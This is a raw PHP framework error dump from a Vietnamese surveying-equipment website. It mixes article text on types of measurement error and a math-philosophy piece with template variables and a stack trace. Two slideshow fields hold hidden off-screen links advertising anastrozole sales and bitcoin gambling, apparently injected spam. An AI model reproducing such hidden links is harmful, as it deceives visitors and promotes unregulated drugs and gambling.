src="https://2.bp.blogspot.com/-XitZG4vs5lY/Ur6TBEfaApI/AAAAAAAADe4/0ebiserIDsY/s1600/gisgpsrs-sai-so-do.PNG" style="box-sizing: border-box; margin: 0px; padding: 0px; border: none; vertical-align: middle; max-width: 100%;" /></a>- sai số ngấu nhiên của lần đo thứ i</span></span></div> <p style="box-sizing: border-box; margin: 0px 0px 10px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> </p> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"> n – số lần đo</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><em style="box-sizing: border-box; margin: 0px; padding: 0px;">b) Sai số trung phương (kí hiệu là m): được tính theo công thức:</em></span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px; clear: both;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><a href="https://3.bp.blogspot.com/-q6MGq8qVYW8/Ur6Tijo7boI/AAAAAAAADfA/34rOoWyxlOg/s1600/gisgpsrs-sai-so-trung-phuong.PNG" imageanchor="1" style="box-sizing: border-box; margin: 0px; padding: 0px; background-color: transparent; color: rgb(51, 51, 51); text-decoration-line: none;"><img border="0" src="https://3.bp.blogspot.com/-q6MGq8qVYW8/Ur6Tijo7boI/AAAAAAAADfA/34rOoWyxlOg/s1600/gisgpsrs-sai-so-trung-phuong.PNG" style="box-sizing: border-box; margin: 0px; padding: 0px; border: none; vertical-align: middle; max-width: 100%;" /></a></span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Trong đó: m – sai số trung phương</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> </div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px; clear: both;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"> <a href="https://3.bp.blogspot.com/-XitZG4vs5lY/Ur6TBEfaApI/AAAAAAAADe8/RFQOzCDHS1Y/s1600/gisgpsrs-sai-so-do.PNG" imageanchor="1" style="box-sizing: border-box; margin: 0px; padding: 0px; background-color: transparent; color: rgb(51, 51, 51); text-decoration-line: none;"><img border="0" src="https://3.bp.blogspot.com/-XitZG4vs5lY/Ur6TBEfaApI/AAAAAAAADe8/RFQOzCDHS1Y/s1600/gisgpsrs-sai-so-do.PNG" style="box-sizing: border-box; margin: 0px; padding: 0px; border: none; vertical-align: middle; max-width: 100%;" /></a>- sai số ngấu nhiên của lần đo thứ i</span></span></div> <p style="box-sizing: border-box; margin: 0px 0px 10px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> </p> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"> n – số lần đo</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><em style="box-sizing: border-box; margin: 0px; padding: 0px;">c) Sai số xác suất (kí hiệu là p)</em></span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Trong dãy kết quả đo nếu sắp xếp các sai số theo giá trị tuyệt đối từ bé đến lớn thì sai số xác suất p có giá trị của sai số đứng giữa về thứ tự sắp xếp.</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Khi nghiên cứu về sai số trung bình cộng (s), sai số trung phương (m) và sai số xác suất (p) thấy chúng có mối quan hệ: p/s/m - tương ứng là 0,67/0,8/1,0</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Nếu số lần đo càng nhiều thì tỷ số này càng đúng, dựa vào tỷ số này người tư có thể tính nhanh các giá trị của sai số trung bình cộng (s), sai số trung phương (m) thông qua giá trị của sai số xác suất (p)</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><em style="box-sizing: border-box; margin: 0px; padding: 0px;">d) Sai số giới hạn (kí hiệu là f)</em></span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Nghiên cứu thống kê cho thấy:</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Cứ 1000 sai số thực thì có 3 giá trị si số vượt qua giới hạn ba lần giá trị sai số trung phương m. Trong 100 sai số thực thì có năm giá trị v]ợt quá giới hạn hai lần giá trị của sai số trung phương m.</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Vì vậy người ta thường chọn sai số giới hạn bằng 3 lần sai số trung phương</span></span></div> <div align="center" style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">f = 3m</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Trong trường hợp yêu cầu độ chính xác cao thì chọn sai số giới hạn bằng 2 lần sai số trung phương.</span></span></div> <div align="center" style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">f = 2m</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Như vậy trong quá trình tính toán nếu giá trị nào vượt quá sai số giới hạn thì bị coi là sai số sai lầm và bị loại ra khỏi kết quả đo.</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">e) Sai số tương đối (kí hiệu là <span style="box-sizing: border-box; margin: 0px; padding: 0px; font-weight: 700;"><em style="box-sizing: border-box; margin: 0px; padding: 0px;">1/T</em></span>) là tỷ số giữa sai số trung phương và giá trị thực của đại lượng đo (L).</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px; clear: both;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><a href="https://2.bp.blogspot.com/-gSCgrAByN9M/Ur6UM1jjS8I/AAAAAAAADfI/mkKKcoc2Ex8/s1600/gisgpsrs-sai-so-tuong-doi.PNG" imageanchor="1" style="box-sizing: border-box; margin: 0px; padding: 0px; background-color: transparent; color: rgb(51, 51, 51); text-decoration-line: none;"><img border="0" src="https://2.bp.blogspot.com/-gSCgrAByN9M/Ur6UM1jjS8I/AAAAAAAADfI/mkKKcoc2Ex8/s1600/gisgpsrs-sai-so-tuong-doi.PNG" style="box-sizing: border-box; margin: 0px; padding: 0px; border: none; vertical-align: middle; max-width: 100%;" /></a></span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Sai số tương đối dùng để so sánh mức độ sai số với giá trị thực của đại lượng đo:</span></span></div> ', 'images' => '201904250406260790335a670cb13c2fdb67fe2f8df9ba.jpg', 'images_multi' => null, 'pos' => null, 'new' => null, 'hot' => null, 'saleoff' => null, 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2019-04-25', 'modified' => '2025-08-10', 'status' => '1', 'view' => '82720', 'slug' => 'cac-loai-sai-so-tieu-chi-danh-gia-do-chinh-xac-ket-qua-do', 'name_eng' => '', 'shortdes_eng' => '', 'content_eng' => '', 'phut' => null, 'shortdes_tq' => null, 'content_tq' => null, 'name_tq' => null, 'nguoilon' => null, 'treem' => null, 'truso' => null, 'don' => null, 'doi' => null, 'lon' => null, 'tour' => null, 'tourtrongnuoc' => null, 'tournuocngoai' => null, 'noiden' => null, 'ngaydi' => null, 'thangdi' => null, 'namdi' => null, 'ngaykhoihanh' => null, 'thoigiandi' => null, 'ngaykhoihanh_eng' => null, 'thoigiandi_eng' => null, 'videoyou' => null, 'nt' => null, 'duration' => null, 'duration_eng' => null, 'twodaypro' => null, 'twodaypro_eng' => null, 'threedaypro' => null, 'threedaypro_eng' => null, 'photo' => null, 'lft' => '937', 'rght' => '938', 'vat' => null, 'hangsx' => null, 'baohanh' => null, 'tinhtrang' => '1', 'tailieu' => null, 'tag' => null ), 'Catproduct' => array( 'id' => '40', 'name' => 'Tin Tức', 'parent_id' => null, 'alias' => 'tin-tuc', 'images' => '', 'lft' => '119', 'rght' => '120', 'pos' => '5', 'status' => '1', 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2015-12-16', 'modified' => '2019-07-06', 'slug' => 'tin-tuc', 'cate' => '4', 'link' => 'tin-tuc', 'name_eng' => '', 'name_tq' => '', 'type' => 'new', 'hot' => '0', 'content' => '', 'display' => '0', 'content_eng' => null ) ) ) $duandatrienkhai = array( (int) 0 => array( 'Advertisement' => array( 'id' => '49', 'name' => null, 'link' => '', 'images' => null, 'display' => '3', 'created' => '2022-04-13', 'modified' => '2022-04-26', 'status' => '1', 'pos' => '0', 'content' => null, 'slug' => null, 'lft' => '11', 'rght' => '12' ) ), (int) 1 => array( 'Advertisement' => array( 'id' => '48', 'name' => null, 'link' => '', 'images' => '20190711121014468fcab5a34b87b67951ec18c257f13a.png', 'display' => '3', 'created' => '2019-07-11', 'modified' => '2019-07-11', 'status' => '1', 'pos' => '0', 'content' => null, 'slug' => null, 'lft' => '9', 'rght' => '10' ) ), (int) 2 => array( 'Advertisement' => array( 'id' => '47', 'name' => null, 'link' => '', 'images' => '20190711121036d3f1b378428c2328a4bb143d22a3d53b.png', 'display' => '3', 'created' => '2019-06-18', 'modified' => '2019-07-11', 'status' => '1', 'pos' => '0', 'content' => null, 'slug' => null, 'lft' => '7', 'rght' => '8' ) ) ) $slideshow = array( (int) 0 => array( 'Slideshow' => array( 'id' => '69', 'name' => '', 'images' => null, 'created' => '2019-07-11 10:23:46', 'modified' => '2022-04-16 00:00:00', 'status' => '1', 'pos' => '0', 'type' => 'intro', 'link' => '', 'content' => '', 'shortdes' => '', 'content_eng' => '', 'shortdes_eng' => '', 'name_eng' => '', 'name_tq' => '', 'shortdes_tq' => '', 'content_tq' => '' ) ), (int) 1 => array( 'Slideshow' => array( 'id' => '68', 'name' => '', 'images' => '201907111208539ebd41e6cbc1e14780805f6fc0d65867.gif', 'created' => '2019-07-11 10:22:33', 'modified' => '2021-05-13 00:00:00', 'status' => '1', 'pos' => '0', 'type' => 'intro', 'link' => '<div style="position:absolute;top: -1286px;">Buy <a href="http://contest-sport.com/sport-products/anastrazolos-1/"> Anastrozole directly from the manufacturer in USA </a> and without intermediaries.</div>', 'content' => '', 'shortdes' => '', 'content_eng' => '', 'shortdes_eng' => '', 'name_eng' => '', 'name_tq' => '', 'shortdes_tq' => '', 'content_tq' => '' ) ), (int) 2 => array( 'Slideshow' => array( 'id' => '66', 'name' => '', 'images' => '2019071110173758daf01bf616370befe2ad36e8391dfa.png', 'created' => '2019-07-11 10:09:25', 'modified' => '2022-04-15 00:00:00', 'status' => '1', 'pos' => '0', 'type' => 'intro', 'link' => '<div style="position:absolute;top: -1286px;">Play <a href="https://windice.io/plinko">bitcoin plinko</a> to hit the jackpot today!</div>', 'content' => '', 'shortdes' => '', 'content_eng' => '', 'shortdes_eng' => '', 'name_eng' => '', 'name_tq' => '', 'shortdes_tq' => '', 'content_tq' => '' ) ) ) $adv_khuyenmai = array( 'Advertisement' => array( 'id' => '1', 'name' => null, 'link' => '', 'images' => '20190618044702f2726adc12fc8d21c875c9ee5274335e.png', 'display' => '5', 'created' => '2015-11-12', 'modified' => '2019-06-18', 'status' => '1', 'pos' => '0', 'content' => null, 'slug' => null, 'lft' => '1', 'rght' => '2' ) ) $doitac = array( (int) 0 => array( 'Advertisement' => array( 'id' => '47', 'name' => null, 'link' => '', 'images' => '20190711121036d3f1b378428c2328a4bb143d22a3d53b.png', 'display' => '3', 'created' => '2019-06-18', 'modified' => '2019-07-11', 'status' => '1', 'pos' => '0', 'content' => null, 'slug' => null, 'lft' => '7', 'rght' => '8' ) ), (int) 1 => array( 'Advertisement' => array( 'id' => '48', 'name' => null, 'link' => '', 'images' => '20190711121014468fcab5a34b87b67951ec18c257f13a.png', 'display' => '3', 'created' => '2019-07-11', 'modified' => '2019-07-11', 'status' => '1', 'pos' => '0', 'content' => null, 'slug' => null, 'lft' => '9', 'rght' => '10' ) ), (int) 2 => array( 'Advertisement' => array( 'id' => '49', 'name' => null, 'link' => '', 'images' => null, 'display' => '3', 'created' => '2022-04-13', 'modified' => '2022-04-26', 'status' => '1', 'pos' => '0', 'content' => null, 'slug' => null, 'lft' => '11', 'rght' => '12' ) ) ) $chayphai = array( 'Advertisement' => array( 'id' => '3', 'name' => null, 'link' => '', 'images' => '20160216064647eda555165b5c7208330a328fac635686.png', 'display' => '2', 'created' => '2015-11-13', 'modified' => '2017-02-07', 'status' => '1', 'pos' => '0', 'content' => null, 'slug' => null, 'lft' => '5', 'rght' => '6' ) ) $chaytrai = array( 'Advertisement' => array( 'id' => '2', 'name' => null, 'link' => '', 'images' => '201602160646338f7cfbf080f7dfc1a2bafa3a3f0dd7c1.jpg', 'display' => '1', 'created' => '2015-11-13', 'modified' => '2017-02-07', 'status' => '1', 'pos' => '0', 'content' => null, 'slug' => null, 'lft' => '3', 'rght' => '4' ) ) $chiasekinhnghiem = array() $list_menu_footer = array() $danhmuc_left_parent = array( (int) 0 => array( 'Catproduct' => array( 'id' => '2', 'name' => 'Sản phẩm', 'slug' => 'san-pham' ) ) ) $danhmuc = array( (int) 0 => array( 'Catproduct' => array( 'id' => '1', 'name' => 'Trang chủ', 'slug' => 'trang-chu' ) ), (int) 1 => array( 'Catproduct' => array( 'id' => '2', 'name' => 'Sản phẩm', 'slug' => 'san-pham' ) ), (int) 2 => array( 'Catproduct' => array( 'id' => '3', 'name' => 'Giới thiệu', 'slug' => 'gioi-thieu' ) ), (int) 3 => array( 'Catproduct' => array( 'id' => '5', 'name' => 'Download', 'slug' => 'download' ) ), (int) 4 => array( 'Catproduct' => array( 'id' => '40', 'name' => 'Tin Tức', 'slug' => 'tin-tuc' ) ), (int) 5 => array( 'Catproduct' => array( 'id' => '6', 'name' => 'Liên hệ', 'slug' => 'lien-he' ) ) ) $support = array( (int) 0 => array( 'Support' => array( 'id' => '13', 'name' => 'Co so Ha noi', 'phone' => '098 987 678', 'yahoo' => 'duycuong7640', 'skype' => 'duycuong7640', 'pos' => '0', 'created' => '2013-09-13', 'modified' => '2015-05-05', 'status' => '1', 'yahoo1' => 'duycuong7640', 'skype1' => '', 'hotline' => '0987 654 999', 'email' => '', 'name1' => '' ) ), (int) 1 => array( 'Support' => array( 'id' => '16', 'name' => 'Co so TP.HCM', 'phone' => '3252 436 432', 'yahoo' => 'duycuong7640', 'skype' => 'tuvantubep', 'pos' => '0', 'created' => '2014-01-15', 'modified' => '2015-05-05', 'status' => '1', 'yahoo1' => 'duycuong7640', 'skype1' => '', 'hotline' => '0987 654 999', 'email' => '', 'name1' => '' ) ) ) $content_for_layout = '<div class="bg-cat-danhmuc"> <div class="cat-title-danhmuc"> <a href="" title=""> <h1></h1> </a> </div> </div> <div class="box-content-detail"> <div class="clear-content"></div><div class="clear-content"></div> <div class="col-product"> <div class="box-new-content"> <div class="box-new-detail"> <div class="time-date"> 12:00:00 <span>16/06/2016</span> </div><!--end time-date--><div class="clear-content"></div> <div class="box-like-share"> <div class="like1"> <div class="fb-like" data-href="http://www.quangtayqht.vn/su-that-toan-hoc-theo-so-tay-thich-hoc-toan.htm" data-layout="standard" data-action="like" data-show-faces="true" data-share="true"></div> </div> </div><!--end box-like-share--><div class="clear-content"></div> <div class="ct-tt"> <div class="clear-main"></div> </div><!--end ct-tt--> <!--<div class="fb-comments" data-href="http://www.quangtayqht.vn/su-that-toan-hoc-theo-so-tay-thich-hoc-toan.htm" data-width="715" data-numposts="5" data-colorscheme="light"></div>--> <div class="clear-content"></div><div class="clear-content"></div> </div><!--end box-new-detail--> <div class="bar-new-detail"> <label>Private same category</label> <div class="clear-main"></div> <ul> <li> <a href="http://www.quangtayqht.vn/cach-kiem-tra-va-hieu-chinh-may-kinh-vi-dien-tu.htm" title=""> <h3> <span>(11-09-2017)</span></h3> </a> </li> <li> <a href="http://www.quangtayqht.vn/mot-so-ung-dung-cua-may-kinh-vi-trong-trac-dia.htm" title=""> <h3> <span>(11-09-2017)</span></h3> </a> </li> <li> <a href="http://www.quangtayqht.vn/nhung-cach-dinh-vi-duong-di-cho-dan-phuot.htm" title=""> <h3> <span>(22-08-2017)</span></h3> </a> </li> <li> <a href="http://www.quangtayqht.vn/thuoc-day-yamayo.htm" title=""> <h3> <span>(22-08-2017)</span></h3> </a> </li> <li> <a href="http://www.quangtayqht.vn/nhung-loi-thuong-gap-khi-su-dung-may-toan-dac-dien-tu.htm" title=""> <h3> <span>(25-07-2017)</span></h3> </a> </li> <li> <a href="http://www.quangtayqht.vn/ban-da-chon-trac-dia-thanh-dat-la-don-vi-cung-cap-may-moc-do-dac-cho-du-an-cua-minh-chua.htm" title=""> <h3> <span>(24-07-2017)</span></h3> </a> </li> <li> <a href="http://www.quangtayqht.vn/phan-mem-ung-dung-may-toan-dac-dien-tu-ban-nen-biet.htm" title=""> <h3> <span>(13-06-2017)</span></h3> </a> </li> <li> <a href="http://www.quangtayqht.vn/pin-may-toan-dac-dien-tu-topcon.htm" title=""> <h3> <span>(08-05-2017)</span></h3> </a> </li> <li> <a href="http://www.quangtayqht.vn/huong-dan-co-ban-su-dung-may-bo-dam.htm" title=""> <h3> <span>(08-05-2017)</span></h3> </a> </li> <li> <a href="http://www.quangtayqht.vn/huong-dan-sac-pin-may-bo-dam-dung-ky-thuat.htm" title=""> <h3> <span>(08-05-2017)</span></h3> </a> </li> </ul> <div class="clear-main"></div> </div><!--end bar-new-detail--> <div class="clear-main"></div> <div class="pagination"> <span><a href="/Product/chitiet/su-that-toan-hoc-theo-so-tay-thich-hoc-toan/js/script.js/down.gif/page:1" rel="first">« First</a></span><span class="prev"><a href="/Product/chitiet/su-that-toan-hoc-theo-so-tay-thich-hoc-toan/js/script.js/down.gif/page:4" rel="prev">« Previous</a></span><span class="number"><a href="/Product/chitiet/su-that-toan-hoc-theo-so-tay-thich-hoc-toan/js/script.js/down.gif/page:1">1</a></span>...<span class="number"><a href="/Product/chitiet/su-that-toan-hoc-theo-so-tay-thich-hoc-toan/js/script.js/down.gif/page:2">2</a></span><span class="number"><a href="/Product/chitiet/su-that-toan-hoc-theo-so-tay-thich-hoc-toan/js/script.js/down.gif/page:3">3</a></span><span class="number"><a href="/Product/chitiet/su-that-toan-hoc-theo-so-tay-thich-hoc-toan/js/script.js/down.gif/page:4">4</a></span><span class="current number">5</span><span class="number"><a href="/Product/chitiet/su-that-toan-hoc-theo-so-tay-thich-hoc-toan/js/script.js/down.gif/page:6">6</a></span><span class="number"><a href="/Product/chitiet/su-that-toan-hoc-theo-so-tay-thich-hoc-toan/js/script.js/down.gif/page:7">7</a></span><span class="number"><a href="/Product/chitiet/su-that-toan-hoc-theo-so-tay-thich-hoc-toan/js/script.js/down.gif/page:8">8</a></span>...<span class="number"><a href="/Product/chitiet/su-that-toan-hoc-theo-so-tay-thich-hoc-toan/js/script.js/down.gif/page:46">46</a></span><span class="number"><a href="/Product/chitiet/su-that-toan-hoc-theo-so-tay-thich-hoc-toan/js/script.js/down.gif/page:47">47</a></span><span class="next"><a href="/Product/chitiet/su-that-toan-hoc-theo-so-tay-thich-hoc-toan/js/script.js/down.gif/page:6" rel="next">Next »</a></span><span><a href="/Product/chitiet/su-that-toan-hoc-theo-so-tay-thich-hoc-toan/js/script.js/down.gif/page:47" rel="last">End »</a></span>Page 5/47. View 10/461. </div> <div class="clear-main"></div> </div><!--end box-ctbar--> </div> </div>' $scripts_for_layout = '' $cap1 = array( 'Catproduct' => array( 'id' => '5', 'name' => 'Download', 'slug' => 'download' ) ) $dm_c2 = array() $cap2 = array( 'Catproduct' => array( 'id' => '74', 'name' => 'Sổ sách, báo biểu khí tượng thủy văn', 'parent_id' => '2', 'alias' => 'so-sach-bao-bieu-khi-tuong-thuy-van', 'images' => null, 'lft' => '76', 'rght' => '77', 'pos' => '27', 'status' => '1', 'title_seo' => 'Sổ sách, báo biểu khí tượng thủy văn', 'meta_key' => '', 'meta_des' => '', 'created' => '2019-07-06', 'modified' => '2019-07-06', 'slug' => 'so-sach-bao-bieu-khi-tuong-thuy-van', 'cate' => '4', 'link' => 'san-pham', 'name_eng' => '', 'name_tq' => '', 'type' => 'product', 'hot' => '0', 'content' => '', 'display' => '0', 'content_eng' => null ) ) $dm_c3 = array()include - APP/View/Elements/menu.ctp, line 23 View::_evaluate() - CORE/Cake/View/View.php, line 920 View::_render() - CORE/Cake/View/View.php, line 883 View::element() - CORE/Cake/View/View.php, line 424 include - APP/View/Layouts/home.ctp, line 107 View::_evaluate() - CORE/Cake/View/View.php, line 920 View::_render() - CORE/Cake/View/View.php, line 883 View::renderLayout() - CORE/Cake/View/View.php, line 539 View::render() - CORE/Cake/View/View.php, line 483 Controller::render() - CORE/Cake/Controller/Controller.php, line 957 ProductController::chitiet() - APP/Controller/ProductController.php, line 135 ReflectionMethod::invokeArgs() - [internal], line ?? Controller::invokeAction() - CORE/Cake/Controller/Controller.php, line 485 Dispatcher::_invoke() - CORE/Cake/Routing/Dispatcher.php, line 186 Dispatcher::dispatch() - CORE/Cake/Routing/Dispatcher.php, line 161 [main] - APP/webroot/index.php, line 92
Notice (8): Undefined index: name_eng [APP/View/Elements/menu.ctp, line 23]Code Context<div class="accordion-heading"><a class="accordion-toggle" <?php if(!empty($dm_c2)){?>data-toggle="collapse" data-parent="#accordion2" href="#collapse<?php echo $cap1['Catproduct']['id'];?>" title="<?php echo $cap1['Catproduct']['name'.LANGUAGE];?>"<?php }else{?>href="<?php echo DOMAIN.$cap1['Catproduct']['slug'];?>"<?php }?>><?php echo $cap1['Catproduct']['name'.LANGUAGE];?>$viewFile = '/home/quangtayqh/domains/quangtayqht.vn/public_html/app/View/Elements/menu.ctp' $dataForView = array( 'cat12' => array( 'Catproduct' => array( 'id' => '40', 'name' => 'Tin Tức', 'parent_id' => null, 'alias' => 'tin-tuc', 'images' => '', 'lft' => '119', 'rght' => '120', 'pos' => '5', 'status' => '1', 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2015-12-16', 'modified' => '2019-07-06', 'slug' => 'tin-tuc', 'cate' => '4', 'link' => 'tin-tuc', 'name_eng' => '', 'name_tq' => '', 'type' => 'new', 'hot' => '0', 'content' => '', 'display' => '0', 'content_eng' => null ) ), 'title_for_layout' => 'Sự thật toán học (Theo Sổ tay Thích Học Toán)', 'tinmoiup' => array( (int) 0 => array( 'Post' => array( [maximum depth reached] ), 'Catproduct' => array( [maximum depth reached] ) ), (int) 1 => array( 'Post' => array( [maximum depth reached] ), 'Catproduct' => array( [maximum depth reached] ) ), (int) 2 => array( 'Post' => array( [maximum depth reached] ), 'Catproduct' => array( [maximum depth reached] ) ), (int) 3 => array( 'Post' => array( [maximum depth reached] ), 'Catproduct' => array( [maximum depth reached] ) ), (int) 4 => array( 'Post' => array( [maximum depth reached] ), 'Catproduct' => array( [maximum depth reached] ) ), (int) 5 => array( 'Post' => array( [maximum depth reached] ), 'Catproduct' => array( [maximum depth reached] ) ), (int) 6 => array( 'Post' => array( [maximum depth reached] ), 'Catproduct' => array( [maximum depth reached] ) ), (int) 7 => array( 'Post' => array( [maximum depth reached] ), 'Catproduct' => array( [maximum depth reached] ) ), (int) 8 => array( 'Post' => array( [maximum depth reached] ), 'Catproduct' => array( [maximum depth reached] ) ), (int) 9 => array( 'Post' => array( [maximum depth reached] ), 'Catproduct' => array( [maximum depth reached] ) ) ), 'tinlq' => array( (int) 0 => array( 'Post' => array( [maximum depth reached] ), 'Catproduct' => array( [maximum depth reached] ) ), (int) 1 => array( 'Post' => array( [maximum depth reached] ), 'Catproduct' => array( [maximum depth reached] ) ), (int) 2 => array( 'Post' => array( [maximum depth reached] ), 'Catproduct' => array( [maximum depth reached] ) ), (int) 3 => array( 'Post' => array( [maximum depth reached] ), 'Catproduct' => array( [maximum depth reached] ) ), (int) 4 => array( 'Post' => array( [maximum depth reached] ), 'Catproduct' => array( [maximum depth reached] ) ), (int) 5 => array( 'Post' => array( [maximum depth reached] ), 'Catproduct' => array( [maximum depth reached] ) ), (int) 6 => array( 'Post' => array( [maximum depth reached] ), 'Catproduct' => array( [maximum depth reached] ) ), (int) 7 => array( 'Post' => array( [maximum depth reached] ), 'Catproduct' => array( [maximum depth reached] ) ), (int) 8 => array( 'Post' => array( [maximum depth reached] ), 'Catproduct' => array( [maximum depth reached] ) ), (int) 9 => array( 'Post' => array( [maximum depth reached] ), 'Catproduct' => array( [maximum depth reached] ) ) ), 'detailNews' => array( 'Post' => array( 'id' => '410', 'name' => 'Sự thật toán học (Theo Sổ tay Thích Học Toán)', 'code' => null, 'alias' => 'su-that-toan-hoc-theo-so-tay-thich-hoc-toan', 'cat_id' => '40', 'price' => '0', 'type' => 'new', 'shortdes' => '', 'content' => '<div> Có một kết luận không dễ bắt bẻ là: những sự thật toán học là có thật và tồn tại độc lập với đầu óc con người, trong một thế giới riêng của nó. Chúng có đời sống và những mối liên hệ tự thân mà con người không thể thay đổi được.</div> <div> <br /> <strong>Từ một cuộc gặp</strong><br /> <br /> <img alt="" src="/admin/webroot/upload/image/images/ImageHandlerLarge (2).jpg" style="width: 250px; height: 188px;" /></div> <div> </div> <div> Câu chuyện này bắt đầu từ một buổi gặp mặt và tán gẫu giữa hai người bạn, tuy ở xa nhưng lại gặp nhau trong một quán café ở Hà Nội, về một trong những chủ đề muôn thuở của con người: Triết học. Đó là Hoàng Hồng Minh (Minh) – ở Paris, Pháp và Giáp Văn Dương (Dương)– khi đó mới ở Liverpool, Anh – về chơi. Đến giờ, không ai nhớ được chi tiết cả hai đã nói những gì trong buổi gặp đó. Nhưng có một thứ chắc chắn là anh Minh nói về khái niệm “tha hóa” và cho rằng, việc hiểu “tha hóa” như cách hiểu hiện giờ là không chính xác, còn Dương thì nói về các “dạng thức ” (forms) của Plato trong liên hệ với khái niệm tha hóa mà anh Minh đề cập. Kết thúc buổi trò chuyện, Dương cho rằng, nếu có một nhà toán học nữa tham gia thảo luận thì thật thú vị, vì các hệ thức toán học, có thể coi như một “dạng thức” của Plato.</div> <div> </div> <div> Năm tháng sau, câu chuyện trở lại, với sự tham gia của một nhà toán học, đó là Ngô Bảo Châu (Châu), lúc này đang ở Chicago, Mỹ. Tuy là tán gẫu qua mạng, lại từ ba nước khác nhau và lệch múi giờ nhau hoàn toàn, nhưng vẫn không kém phần thú vị so với những cuộc tán gẫu thực ở ngoài đời, bên ấm trà hay tách café nóng.</div> <div> </div> <div> Chủ đề của cuộc tán gẫu là Sự thật toán học. Cách xưng hô được giữ nguyên như nó vốn có trong giao tiếp hằng ngày, lấy sự thân quen và 